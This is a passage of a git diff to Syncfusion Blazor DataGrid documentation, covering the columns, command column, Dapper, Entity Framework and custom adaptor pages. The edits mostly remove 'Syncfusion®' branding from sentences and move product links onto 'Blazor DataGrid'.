-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports form validation for fields that are not defined as columns. The [Validator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Validator) property can be used to display a validation message for such fields within the [dialog template](https://blazor.syncfusion.com/documentation/datagrid/template-editing#dialog-template-editing).
+The Blazor DataGrid supports form validation for fields that are not defined as columns. The [Validator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Validator) property can be used to display a validation message for such fields within the [dialog template](https://blazor.syncfusion.com/documentation/datagrid/template-editing#dialog-template-editing).
 
 In this configuration, the validation message for **ShipAddress** is displayed in the dialog template, although the **ShipAddress** field is not defined as a Grid column.
 
diff --git a/blazor/datagrid/columns.md b/blazor/datagrid/columns.md
index 528e7cf6cf..f0af6b0639 100644
--- a/blazor/datagrid/columns.md
+++ b/blazor/datagrid/columns.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Columns in Blazor DataGrid
 
-Columns are the core structural elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid.
+Columns are the core structural elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid).
 Each column defines:
 
 * The data field to display.
@@ -20,7 +20,7 @@ Effective column configuration ensures data is presented clearly, remains access
 
 ## Column Types
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid utilizes columns to organize and display diverse data. Each column can be assigned a specific data type using the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Type) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) component. This property accepts values from the [ColumnType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnType.html) enumeration, which is crucial for determining how data is displayed and formatted (e.g., numeric, date, or string).
+The Blazor DataGrid utilizes columns to organize and display diverse data. Each column can be assigned a specific data type using the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Type) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) component. This property accepts values from the [ColumnType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnType.html) enumeration, which is crucial for determining how data is displayed and formatted (e.g., numeric, date, or string).
 
 The DataGrid supports the following column types:
 
@@ -132,7 +132,7 @@ If multiple CheckBox columns are defined, selecting a checkbox in one column aut
 
 ## Column Width
 
-The Syncfusion Blazor DataGrid allows adjustment of column width using the [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width)  property of [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). This property accepts values in **pixels** or **percentages**. For example, set `100` for 100 pixels or `25%` for 25% of the available width.
+The Blazor DataGrid allows adjustment of column width using the [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Width)  property of [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). This property accepts values in **pixels** or **percentages**. For example, set `100` for 100 pixels or `25%` for 25% of the available width.
 
 **Key behaviors**
 
@@ -154,7 +154,7 @@ The Syncfusion Blazor DataGrid allows adjustment of column width using the [Widt
 
 **Supported types for column width**
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports the following three types of column width:
+The Blazor DataGrid supports the following three types of column width:
 
 **1. Auto**
 
@@ -248,7 +248,7 @@ public class OrderData
 
 ## Column Formatting
 
-Column formatting is a powerful feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid that allows customization of data display within Grid columns. Various formatting options are available to meet specific requirements, such as displaying numbers with particular formats, formatting dates according to a specific locale, and using templates to format column values.
+Column formatting is a powerful feature in the Blazor DataGrid that allows customization of data display within Grid columns. Various formatting options are available to meet specific requirements, such as displaying numbers with particular formats, formatting dates according to a specific locale, and using templates to format column values.
 
 The [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format) property can be used to specify the format for column values.
 
@@ -328,7 +328,7 @@ The [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridC
 
 ### Number formatting
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the display of numeric values in columns using the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format) property. This property supports both standard numeric format strings and custom numeric format strings.
+The Blazor DataGrid allows customizing the display of numeric values in columns using the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format) property. This property supports both standard numeric format strings and custom numeric format strings.
 
 | Format | Description       | Remarks                                                    |
 |--------|-------------------|------------------------------------------------------------|
@@ -801,7 +801,7 @@ public class OrderData
 
 ## Text and Header Alignment
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides options to align both column content and header text for better readability and presentation.
+The Blazor DataGrid provides options to align both column content and header text for better readability and presentation.
 
 ### Text Alignment
 
@@ -817,7 +817,7 @@ Text alignment is useful for improving readability, especially for numeric or da
 
 ### Header Text Alignment
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows aligning header text using the [HeaderTextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderTextAlign) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). This property also accepts values from the [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) enum:
+The Blazor DataGrid allows aligning header text using the [HeaderTextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderTextAlign) property of the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html). This property also accepts values from the [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) enum:
 
 * **None** – No specific alignment; defaults to **Left**.
 * **Left** – Aligns header text to the left.
@@ -949,7 +949,7 @@ N >* The `TextAlign` property only changes the alignment of cell content, not th
 
 ## Render boolean values as checkbox
 
-Boolean values in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be displayed as checkboxes instead of text. This is achieved by enabling the [DisplayAsCheckBox](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_DisplayAsCheckBox) property in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) configuration.
+Boolean values in the Blazor DataGrid can be displayed as checkboxes instead of text. This is achieved by enabling the [DisplayAsCheckBox](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_DisplayAsCheckBox) property in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) configuration.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -1025,7 +1025,7 @@ Boolean values in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Da
 
 ## AutoFit columns
 
-AutoFit in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid automatically adjusts column widths so that the content is fully visible without wrapping. This feature ensures a clean layout and improves readability without manual width adjustments.
+AutoFit in the Blazor DataGrid automatically adjusts column widths so that the content is fully visible without wrapping. This feature ensures a clean layout and improves readability without manual width adjustments.
 
 AutoFit is useful when:
 
@@ -1035,7 +1035,7 @@ AutoFit is useful when:
 
 **Options to Apply AutoFit**
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides multiple options to automatically adjust column widths based on content or predefined settings.
+The Blazor DataGrid provides multiple options to automatically adjust column widths based on content or predefined settings.
 
 1. AutoFit on double-click
 2. AutoFit via Programmatically
@@ -1044,7 +1044,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides mu
 
 ### AutoFit on double-click
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows columns to automatically adjust their width based on the maximum content width when you double-click the resizer symbol in the column header. This ensures that all data in the grid rows is displayed without wrapping.
+The Blazor DataGrid allows columns to automatically adjust their width based on the maximum content width when you double-click the resizer symbol in the column header. This ensures that all data in the grid rows is displayed without wrapping.
 
 To enable this feature, Set the [AllowResizing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowResizing) property to **true** in the grid.
 
@@ -1126,7 +1126,7 @@ public class OrderData
 
 ### AutoFit via Programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the `AutoFitColumnsAsync` method to resize columns based on content.
+The Blazor DataGrid provides the `AutoFitColumnsAsync` method to resize columns based on content.
 
 - Autofit specific columns by passing their field names.
 - Autofit all columns by calling the method without parameters.
@@ -1386,7 +1386,7 @@ public class OrderDetails
 
 <!-- ### AutoFit on Column Visibility Change
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can automatically adjust column widths when column visibility changes through the column chooser. This behavior is implemented by invoking [AutoFitColumnsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoFitColumnsAsync) from the [ColumnVisibilityChanged](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_ColumnVisibilityChanged) event, which is raised after the column chooser applies visibility updates. The [ColumnVisibilityChangedEventArgs](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnVisibilityChangedEventArgs.html) class provides context for the columns that became visible or hidden.
+The Blazor DataGrid can automatically adjust column widths when column visibility changes through the column chooser. This behavior is implemented by invoking [AutoFitColumnsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AutoFitColumnsAsync) from the [ColumnVisibilityChanged](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_ColumnVisibilityChanged) event, which is raised after the column chooser applies visibility updates. The [ColumnVisibilityChangedEventArgs](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnVisibilityChangedEventArgs.html) class provides context for the columns that became visible or hidden.
 
 The example demonstrates autofitting columns after changing visibility using the [Column Chooser](https://blazor.syncfusion.com/documentation/datagrid/column-chooser):
 
@@ -1471,7 +1471,7 @@ public class OrderData
 
 ## Fixed columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports fixing specific columns at the beginning of the grid to maintain their position during scrolling. Fixed columns cannot be **reordered** or **grouped** and remain in the defined order.
+The Blazor DataGrid supports fixing specific columns at the beginning of the grid to maintain their position during scrolling. Fixed columns cannot be **reordered** or **grouped** and remain in the defined order.
 
 Enable this behavior by setting the [FixedColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FixedColumn) property to **true** for the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html).
 
@@ -1548,11 +1548,11 @@ public class OrderDetails
 
 ## Show or hide columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dynamic control of column visibility using properties or methods. Columns can be displayed or hidden based on configuration or runtime actions.
+The Blazor DataGrid supports dynamic control of column visibility using properties or methods. Columns can be displayed or hidden based on configuration or runtime actions.
 
 ### Show or hide columns via property
 
-Column visibility in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be controlled through the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Visible) property. Setting this property to **true** displays the column, while setting it to **false** hides the column from the grid layout.
+Column visibility in the Blazor DataGrid can be controlled through the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Visible) property. Setting this property to **true** displays the column, while setting it to **false** hides the column from the grid layout.
 
 The `Visible` property is set to **false** for the **ShipCity** column.
 
@@ -1635,7 +1635,7 @@ public class OrderData
 
 ### Show or hide columns via programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides methods to dynamically control column visibility at runtime. Columns can be shown or hidden using the built-in methods.
+The Blazor DataGrid provides methods to dynamically control column visibility at runtime. Columns can be shown or hidden using the built-in methods.
 
 * **Show columns**
 
@@ -1859,7 +1859,7 @@ public class OrderData
 
 ## Removing hidden column elements from the DOM
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid optimizes the DOM by removing hidden columns from the rendered HTML. This reduces unnecessary elements in the DOM and improves performance, especially when working with large datasets.
+The Blazor DataGrid optimizes the DOM by removing hidden columns from the rendered HTML. This reduces unnecessary elements in the DOM and improves performance, especially when working with large datasets.
 
 To enable this behavior, set the [ShouldRenderHiddenColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ShouldRenderHiddenColumns) property to **false** in the Grid.
 
@@ -1950,7 +1950,7 @@ public class OrderDetails
 
 ## Controlling Blazor DataGrid actions
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows controlling specific actions such as **filtering**, **grouping**, **sorting**, **resizing**, **reordering**, **editing**, and **searching** for individual columns using the following properties:
+The Blazor DataGrid allows controlling specific actions such as **filtering**, **grouping**, **sorting**, **resizing**, **reordering**, **editing**, and **searching** for individual columns using the following properties:
 
 * [AllowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowEditing): Enables or disables editing for a column.
 * [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_AllowFiltering): Enables or disables filtering for a column.
@@ -2032,7 +2032,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows cont
 
 ## Customize column styles
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing column styles to match design requirements. Styles such as font, background color, and other visual properties can be modified using:
+The Blazor DataGrid allows customizing column styles to match design requirements. Styles such as font, background color, and other visual properties can be modified using:
 
 * Grid events (e.g., `QueryCellInfo` for dynamic styling)
 * CSS classes for static styling
@@ -2043,11 +2043,11 @@ For detailed guidance, refer to the [Customize Cell Styles](https://blazor.syncf
 
 ## Manipulating columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides options to access, add, and remove columns dynamically using properties, methods, and events.
+The Blazor DataGrid provides options to access, add, and remove columns dynamically using properties, methods, and events.
 
 ### Accessing Columns
 
-To access columns in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, use the following methods:
+To access columns in the Blazor DataGrid, use the following methods:
 
 **1. Get All Columns**
 
@@ -2089,7 +2089,7 @@ The [GetColumnFieldNamesAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.
 
 ### Adding or Removing Columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows dynamically adding or removing columns using the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) property, which is accessible through the DataGrid instance.
+The Blazor DataGrid allows dynamically adding or removing columns using the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html) property, which is accessible through the DataGrid instance.
 
 - Use the **Add** method to insert a new column object into the Columns collection.
 - Use the **RemoveAt** method to remove a column by its index from the Columns collection.
@@ -2195,14 +2195,14 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows dyna
 
 ### Refresh columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the [RefreshColumnsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RefreshColumnsAsync) method to refresh column definitions dynamically. This method is useful when columns are added, removed, or updated based on actions or data changes.
+The Blazor DataGrid provides the [RefreshColumnsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RefreshColumnsAsync) method to refresh column definitions dynamically. This method is useful when columns are added, removed, or updated based on actions or data changes.
 
 ```cs
 await Grid.RefreshColumnsAsync();
 ```
 ## Responsive columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports responsive column visibility using the [HideAtMedia](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HideAtMedia) property. This property accepts valid CSS [Media Queries](http://cssmediaqueries.com/what-are-css-media-queries.html) and hides columns based on screen width conditions.
+The Blazor DataGrid supports responsive column visibility using the [HideAtMedia](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HideAtMedia) property. This property accepts valid CSS [Media Queries](http://cssmediaqueries.com/what-are-css-media-queries.html) and hides columns based on screen width conditions.
 
 Use `HideAtMedia` property to create responsive layouts where certain columns are hidden automatically on smaller screens, improving readability and reducing horizontal scrolling.
 
@@ -2278,6 +2278,6 @@ Use `HideAtMedia` property to create responsive layouts where certain columns ar
 
 * [How to create a Custom Grid Column component](https://support.syncfusion.com/kb/article/11220/blazor-grid-how-to-create-a-custom-grid-column-component)
 
-* Comprehensive information about the Syncfusion Blazor DataGrid and its features is available through the following resources:
+* Comprehensive information about the Blazor DataGrid and its features is available through the following resources:
     * **Feature Overview:** The [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour provides a complete overview of available capabilities.
     * **Interactive Examples:** The [Blazor DataGrid examples](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) provide practical demonstrations of data presentation and manipulation.
\ No newline at end of file
diff --git a/blazor/datagrid/command-column-editing.md b/blazor/datagrid/command-column-editing.md
index f7f0099c43..c49e0d21f7 100644
--- a/blazor/datagrid/command-column-editing.md
+++ b/blazor/datagrid/command-column-editing.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Command column editing in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports command column editing, which enables CRUD (Create, Read, Update, Delete) action buttons within a column to perform operations on individual rows. This approach is suitable for inline editing, deletion, or saving changes directly within the Grid.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports command column editing, which enables CRUD (Create, Read, Update, Delete) action buttons within a column to perform operations on individual rows. This approach is suitable for inline editing, deletion, or saving changes directly within the Grid.
 
 To enable command column editing, configure the [GridColumn.Commands](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Commands) property. This property defines which command buttons **Edit**, **Delete**, **Save**, and **Cancel** should appear in the command column.
 
@@ -98,7 +98,7 @@ public class OrderDetails
 
 ## Custom command column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding custom command buttons in a column to perform specific actions on individual rows. This feature is suitable for implementing customized functionality such as editing, deleting, or executing other operations.
+The Blazor DataGrid supports adding custom command buttons in a column to perform specific actions on individual rows. This feature is suitable for implementing customized functionality such as editing, deleting, or executing other operations.
 
 To add custom command buttons, configure the [GridColumn.Commands](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Commands) property. Define the actions for these buttons using the [CommandClicked](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_CommandClicked) event.
 
@@ -201,11 +201,11 @@ public class OrderDetails
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/htVoDiBhCEmvtthU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-> The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid does not support **adding new records** using the command column. This limitation exists because the command column and its buttons are rendered only after a record is created. Therefore, the command column supports only **edit**, **delete**, **cancel**, and **update** operations.
+> The Blazor DataGrid does not support **adding new records** using the command column. This limitation exists because the command column and its buttons are rendered only after a record is created. Therefore, the command column supports only **edit**, **delete**, **cancel**, and **update** operations.
 
 ## Hide command column button in specific records
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports conditionally hiding command buttons for specific records based on defined criteria. This is useful when certain actions such as delete or update should be restricted depending on the record's state.
+The Blazor DataGrid supports conditionally hiding command buttons for specific records based on defined criteria. This is useful when certain actions such as delete or update should be restricted depending on the record's state.
 
 To implement this behavior, use the [RowDataBound](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowDataBound) event, which is triggered whenever a row is created or updated in the Grid.
 
diff --git a/blazor/datagrid/connecting-to-ORM/dapper.md b/blazor/datagrid/connecting-to-ORM/dapper.md
index 5d4541f653..328eb77687 100644
--- a/blazor/datagrid/connecting-to-ORM/dapper.md
+++ b/blazor/datagrid/connecting-to-ORM/dapper.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting SQL Server to Blazor Data Grid Using Dapper
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from SQL Server using the lightweight Dapper micro‑ORM. This modern approach provides a simpler, more direct alternative where raw SQL control is preferred.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from SQL Server using the lightweight Dapper micro‑ORM. This modern approach provides a simpler, more direct alternative where raw SQL control is preferred.
 
 **What is Dapper?**
 
@@ -444,7 +444,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component will display the reservation data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
+The `Home.razor` component will display the reservation data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -486,9 +486,9 @@ The Home component has been updated successfully with DataGrid.
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from a **SQL Server** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to [CustomAdaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/custom-adaptor) for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from a **SQL Server** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to [CustomAdaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/custom-adaptor) for scenarios that require full control over data operations.
 
-The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
+The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
 
 **Instructions:**
 
diff --git a/blazor/datagrid/connecting-to-ORM/entityframework.md b/blazor/datagrid/connecting-to-ORM/entityframework.md
index fbad98e47f..4ce8f2be7b 100644
--- a/blazor/datagrid/connecting-to-ORM/entityframework.md
+++ b/blazor/datagrid/connecting-to-ORM/entityframework.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting SQL Server to Blazor DataGrid via Entity Framework
 
-The Syncfusion Blazor DataGrid supports binding data from SQL Server using Entity Framework Core (EF Core) with REST API endpoints via UrlAdaptor. This approach enables clean separation of UI and data layers while supporting full data operations.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from SQL Server using Entity Framework Core (EF Core) with REST API endpoints via UrlAdaptor. This approach enables clean separation of UI and data layers while supporting full data operations.
 
 **What is Entity Framework Core?**
 
@@ -368,7 +368,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component will display the order data in a Syncfusion Blazor DataGrid with search, filter, sort, paging, and CRUD capabilities using UrlAdaptor to communicate with REST API endpoints.
+The `Home.razor` component will display the order data in a Blazor DataGrid with search, filter, sort, paging, and CRUD capabilities using UrlAdaptor to communicate with REST API endpoints.
 
 **Instructions:**
 
diff --git a/blazor/datagrid/connecting-to-adaptors/custom-adaptor.md b/blazor/datagrid/connecting-to-adaptors/custom-adaptor.md
index e4444d2ae2..f868323b16 100644
--- a/blazor/datagrid/connecting-to-adaptors/custom-adaptor.md
+++ b/blazor/datagrid/connecting-to-adaptors/custom-adaptor.md
@@ -10,7 +10,7 @@ documentation: ug
 
 # Custom Binding in Blazor DataGrid
 
-The [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) supports custom adaptors, enabling you to perform manual operations on the data. This feature is useful for implementing custom data binding and editing operations in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid.
+The [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) supports custom adaptors, enabling you to perform manual operations on the data. This feature is useful for implementing custom data binding and editing operations in the Blazor DataGrid.
 
 To implement custom data binding in the Grid, the **DataAdaptor** class is used. This abstract class serves as a base class for the custom adaptor.
 
@@ -76,7 +76,7 @@ To learn more about **Custom Binding** in the Grid, watch this video:
 
 ## Data Binding
 
-Custom data binding can be performed in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid by providing a custom adaptor class and overriding the **Read** or **ReadAsync** method of the **DataAdaptor** abstract class.
+Custom data binding can be performed in the Blazor DataGrid by providing a custom adaptor class and overriding the **Read** or **ReadAsync** method of the **DataAdaptor** abstract class.
 
 The following sample code demonstrates how to implement custom data binding using a custom adaptor:
 
@@ -957,7 +957,7 @@ You can find the complete code in the [Github](https://github.com/SyncfusionExam
 
 ## Handling CRUD operations
 
-The CRUD operations for custom-bound data in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be implemented by overriding the following CRUD methods of the **DataAdaptor** abstract class:
+The CRUD operations for custom-bound data in the Blazor DataGrid can be implemented by overriding the following CRUD methods of the **DataAdaptor** abstract class:
 
 * **Insert/InsertAsync**
 * **Remove/RemoveAsync**
@@ -1104,11 +1104,11 @@ The following GIF demonstrates the CRUD operations on custom-bound data in the G
 
 You can find the complete code in the [Github](https://github.com/SyncfusionExamples/Binding-data-from-remote-service-to-blazor-data-grid/tree/master/CustomAdaptor).
 
-> You can refer to the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour page for its groundbreaking feature representations. You can also explore the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) to understand how to present and manipulate data.
+> You can refer to the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour page for its groundbreaking feature representations. You can also explore the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) to understand how to present and manipulate data.
 
 ## How to pass additional parameters to custom adaptor
 
